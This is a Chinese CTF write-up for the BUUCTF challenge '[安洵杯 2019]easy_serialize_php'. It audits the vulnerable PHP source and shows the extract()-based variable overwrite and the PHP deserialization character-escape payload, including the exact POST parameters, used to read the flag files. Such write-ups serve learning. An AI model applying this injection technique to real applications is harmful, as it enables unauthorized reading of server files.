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题目名称：[安洵杯 2019]easy_serialize_php

本题涉及知识点

extract() 变量覆盖

PHP反序列化：

正常情况下，序列化的对象是一个类的实例，但实际上，数组也能序列化

字符逃逸  （知识点学习链接 ）

https://blog.csdn.net/qq_43632414
https://blog.csdn.net/qq_43632414/category_11381724.html
https://so.csdn.net/so/search/s.do?q=php&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/qq_43632414/article/details/120512533
https://blog.csdn.net/qq_43632414/category_11381724.html
https://buuoj.cn/challenges
https://blog.csdn.net/qq_43632414/article/details/120499159


 <?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}

if($_SESSION){ 
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 
?>

一、审计代码

先分析与变量 $function有关的代码



$function = @$_GET['f'];

if(!$function){//  如果url中没有传递f
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

f($function == 'highlight_file'){   //默认值，打印源码
    highlight_file('index.php');
}else if($function == 'phpinfo'){ //f=phpinfo
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){ //f=show_image
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 

（1） 令/index.php?f=phpinfo，查看phpinfo中的隐藏信息
 
（2） 发现d0g3_f1ag.php文件
 
（3）最终肯定是需要/index.php?f=show_image利用反序列化漏洞来获取flag

分析有关 $_SESSION部分的代码



//注销$_SESSION数组的值
if($_SESSION){
    unset($_SESSION);
}

//注册值
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);//这里存在变量覆盖漏洞

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));
//一个明显的特征，对序列化后的字符串进行过滤，再反序列化，这会存在重复逃逸漏洞
function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}

$userinfo = unserialize($serialize_info);
//fige_get_contents（），读取文件内容
echo file_get_contents(base64_decode($userinfo['img']))

首先，粗略的过一遍代码，file_get_contents函数读取文件的内容肯定是 d0g3_f1ag.php，因

此 base64_decode($userinfo['img'])的结果也得是 d0g3_f1ag.php。不会有 sha1()这个加密过程，也就是

说 $_GET['img_path']变量为空，但这样, $_SESSION['img']似乎是固定值 base64_encode('guest_img.png');

还有一点 extract($_POST);是可以通过提交post请求，覆盖当前已经定义了的变量，也就是说，是能改
变 $_SESSION['function']与 $_SESSION["user"]的值

同时，本题存在对序列后的字符串进行过滤处理，也就是序列化后的字符串是会减少的情况，导致与对应的长度不匹配，

出现无法反序列化。这里是存在字符逃逸漏洞的！（知识点学习链接 ）

二、漏洞利用

https://blog.csdn.net/qq_43632414/article/details/120499159


正常情况下， $serialize_info的值为

a:3:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

注：其中键user和function的值是可以通过 $extract($_POST)任意改变，但不能改变 $_SESSION['img']（序列化前，

此值必须为空，避免 sha1()  ）

本题是过滤后，实际字符变少类型的字符逃逸，会存在吞的过程！而又可以通过 extract($_POST)，任意控制

$_SESSION数组。

思路：用user部分，吐掉function不需要部分，让 }过滤不需要的img部分

具体！

a:3:{s:4:"user";s:?:"?";**s:8:"function";s:??

**:"**;s:8:"function";s:10:"show_image";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}**";s:3:"img";s:20:"Z3Vlc

3RfaW1nLnBuZw==";}

我要是吞掉的部分为 ";**s:8:"function";s:38**:，字符串长度为22，则需要所以user对应的值为flag x 4 + php x 2，

所以POST传参
为： _SESSION[user]=flagflagflagflagphpphp & _SESSION[function]=;s:8:"function";s:10:"show_image";s:3:"im

g";s:20:"ZDBnM19mMWFnLnBocA==";}

按我的理解应该是_SESSION[“user”]和_SESSION[‘function’]，但加上引号后，这题就做不出来，真的是难了我好
久（在线求大佬解惑）

最终的反序列化的POC：

a:3:

{s:4:"user";s:22:"flagflagflagflagphpphp``";s:8:"function";s:38:"``**;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA

==";}**";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

在burp中提交post请
求 _SESSION[user]=flagflagflagflagphpphp&_SESSION[function]=;s:8:"function";s:10:"show_image";s:3:"img";s:20

:"ZDBnM19mMWFnLnBocA==";}



发现flag文件在 /d0g3_fllllllag中

/d0g3_fllllllag  base64后为 L2QwZzNfZmxsbGxsbGFn

得到flag{61011a5f-08cc-4884-9666-6b639382f93b}

三、反思总结

题目有两个坑的点

第一个，why post请求中会是 _SESSION[user]而不是 _SESSION["user"]，这有涉及到啥知识，是真搜不到。。。。。。

（求求大佬！！！）

第二个，为什么post提交的参数_SESSION[function]提交的参数
是 ;s:8:"function";s:10:"show_image";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

在看大佬的writeup之前我一直 ;s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

我不懂 ;s:8:"function";s:10:"show_image"的意义所在。虽然有 $_SESSION['function'] = $function;这一步操

作，我以为也想过改变 $_SESSION['function']的值后 $function;可能会跟着改变，但怎么可能！改变也是改变到与

$userinfo[‘function’]的值相同才符合题意啊！！！

。。。。。。。。。。好了，我才把字码到这，突然灵光一闪。。。是的悟了。。

由于序列化后的字符串是 a:3:

{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}，注

意，宝，开头是 a:3，代表的是反序列化的对象是数组，且有三个元素，所以我必须保障反序列后生成的数组有三个元

素

实际上我也能这么写 ;s:8:"function";s:10:"wozaizheli";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}  (只要不是过
滤函数中数组里面的字符串即可）
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